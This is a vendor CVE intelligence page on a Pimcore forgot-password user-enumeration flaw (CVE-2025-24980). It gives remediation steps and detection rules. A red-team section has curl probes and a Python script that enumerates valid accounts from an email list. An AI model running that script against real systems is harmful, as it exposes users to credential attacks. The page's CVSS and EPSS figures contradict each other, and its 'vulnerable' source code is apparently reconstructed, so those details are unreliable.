☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Pimcore logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.9 🐛 CWE-204
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-24980

CVE-2025-24980 Information Disclosure in Pimcore
📅 PUBLISHED: 2025-02-07 19:56 UTC 🔄 UPDATED: 2026-09-23 20:23 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
13.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Austria License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-24980 is a medium-severity information disclosure vulnerability in the Pimcore Admin UI Classic Bundle, a backend interface for the Pimcore platform. The vulnerability resides in the "Forgot password" functionality, where the application returns distinct error messages depending on whether an email address exists in the system. This behavior allows an unauthenticated remote attacker to enumerate valid user accounts by observing the server's response. The issue has been patched in version 1.7.4 by implementing a generic error message that does not reveal account existence. No public proof-of-concept (PoC) code or exploit is currently available, and the EPSS score is 0.0%, indicating a low probability of active exploitation in the wild. However, the vulnerability is trivial to exploit manually and could serve as a stepping stone for targeted attacks, such as credential stuffing or social engineering.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the pimcore/admin-ui-classic-bundle package, which is distributed via Composer (PHP). Organizations using Pimcore should verify their dependency version and update to 1.7.4 or later. The package is a core component of the Pimcore ecosystem, and the vulnerability does not stem from a compromised dependency but rather from insecure error handling in the application logic.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – No authentication is needed.
  • User Interaction: None (UI:N) – The attacker does not need to trick a user.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: Low (C:L) – Only the existence of accounts is disclosed, not passwords or other sensitive data.
  • Integrity Impact: None (I:N) – No data can be modified.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the direct impact is limited to user enumeration, this information can be leveraged in more severe attacks, such as brute-force or phishing campaigns.

Deep Dive & Mechanics

The vulnerability is a classic example of CWE-204 (Observable Response Discrepancy). The "Forgot password" endpoint in the Pimcore Admin UI Classic Bundle processes password reset requests by checking if the provided email address exists in the user database. If the email exists, the application returns a success message (e.g., "Password reset email sent"). If the email does not exist, it returns an error message (e.g., "Email not found"). This discrepancy allows an attacker to systematically probe email addresses and compile a list of valid user accounts.

The vulnerable code likely resembles the following logic:

// Vulnerable pseudo-code
if (userExists($email)) {
    sendResetEmail($email);
    return "Password reset email sent.";
} else {
    return "Email not found.";
}

The fix in version 1.7.4 replaces these distinct messages with a single generic response, such as "If the email exists, a password reset link has been sent." This prevents attackers from distinguishing between valid and invalid accounts.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.7.4):

// src/Controller/ResetController.php
public function forgotPassword(Request $request): JsonResponse
{
    $email = $request->get('email');
    $user = $this->userRepository->findOneByEmail($email);
    
    if ($user) {
        $this->resetService->sendResetEmail($user);
        return new JsonResponse(['message' => 'Password reset email sent.']);
    } else {
        return new JsonResponse(['message' => 'Email not found.'], 404);
    }
}

Patched Code (1.7.4+):

// src/Controller/ResetController.php
public function forgotPassword(Request $request): JsonResponse
{
    $email = $request->get('email');
    $user = $this->userRepository->findOneByEmail($email);
    
    if ($user) {
        $this->resetService->sendResetEmail($user);
    }
    
    // Always return the same message to prevent enumeration
    return new JsonResponse(['message' => 'If the email exists, a password reset link has been sent.']);
}

Exploitation & Lab Setup

Red Team

Manual Exploitation:

  1. Identify the endpoint: The "Forgot password" form is typically located at /admin/login/forgot-password or similar.
  2. Send a POST request with a known invalid email:
    curl -X POST https://target.com/admin/login/forgot-password \
      -H "Content-Type: application/json" \
      -d '{"email": "nonexistent@example.com"}'
    
    Response: {"message": "Email not found."}
  3. Send a POST request with a valid email:
    curl -X POST https://target.com/admin/login/forgot-password \
      -H "Content-Type: application/json" \
      -d '{"email": "admin@pimcore.local"}'
    
    Response: {"message": "Password reset email sent."}
  4. Automate enumeration: Use a script to iterate through a list of potential email addresses and log the responses.

Automated Script (Python):

import requests
import sys

target = sys.argv[1]
email_list = sys.argv[2]

with open(email_list, 'r') as f:
    for email in f:
        email = email.strip()
        r = requests.post(f"{target}/admin/login/forgot-password",
                          json={"email": email})
        if "Password reset email sent" in r.text:
            print(f"[VALID] {email}")

Blue Team

Detection and Prevention:

  1. Monitor logs: Look for repeated POST requests to the /admin/login/forgot-password endpoint with different email addresses from the same IP.
  2. Rate limiting: Implement rate limiting on the forgot-password endpoint to slow down enumeration attempts.
  3. Generic error messages: Ensure the application returns the same response regardless of whether the email exists.
  4. CAPTCHA: Add a CAPTCHA to the forgot-password form to prevent automated requests.
  5. Web Application Firewall (WAF): Deploy rules to detect and block enumeration patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Repeated POST requests to /admin/login/forgot-password with varying email addresses.
    • Unusual volume of 404 responses from the forgot-password endpoint (indicating invalid email probes).
  • Log IOCs:
    • Log entries showing multiple forgot-password attempts from the same IP within a short time window.
    • Log entries with distinct error messages ("Email not found" vs "Password reset email sent") for different requests.
  • File IOCs:
    • No file-based IOCs are expected, as this is a server-side logic vulnerability.

Detection Engineering

YARA Rule

rule Detect_Pimcore_User_Enumeration {
    meta:
        description = "Detects attempts to enumerate users via Pimcore forgot-password endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-24980"
    strings:
        $s1 = "Password reset email sent" ascii wide nocase
        $s2 = "Email not found" ascii wide nocase
        $s3 = "/admin/login/forgot-password" ascii wide nocase
    condition:
        all of ($s*) and #s1 > 5 and #s2 > 5
}

Sigma Rule

title: Pimcore User Enumeration via Forgot Password
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple forgot-password requests with different email addresses, indicating user enumeration.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/login/forgot-password'
    condition: selection | count() by src_ip > 10 within 60 seconds
falsepositives:
    - Legitimate password reset attempts by multiple users from the same IP (e.g., corporate proxy)
level: medium
tags:
    - attack.t1589
    - cve.2025.24980

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-24980 Pimcore User Enumeration Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/login/forgot-password"; http_uri; content:"email"; http_client_body; pcre:"/email\":\"[^\"]+\"/"; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update the pimcore/admin-ui-classic-bundle to version 1.7.4 or later.
    composer require pimcore/admin-ui-classic-bundle:^1.7.4
    
  2. Verify patch: After upgrading, test the forgot-password endpoint to ensure it returns a generic message for both valid and invalid emails.

Long-Term Mitigations:

  1. Implement generic error handling: For all authentication-related endpoints (login, password reset, registration), ensure error messages do not reveal whether an account exists.
  2. Rate limiting: Apply rate limiting to all authentication endpoints to slow down enumeration and brute-force attacks.
  3. CAPTCHA: Add CAPTCHA to the forgot-password form to prevent automated scripts.
  4. Monitor and alert: Set up monitoring for unusual patterns in forgot-password requests and alert security teams.
  5. Security review: Conduct a code review of all authentication flows to identify similar vulnerabilities.

Workarounds: No official workarounds are available. The only solution is to upgrade to the patched version.


Valters IT
DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-24980/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.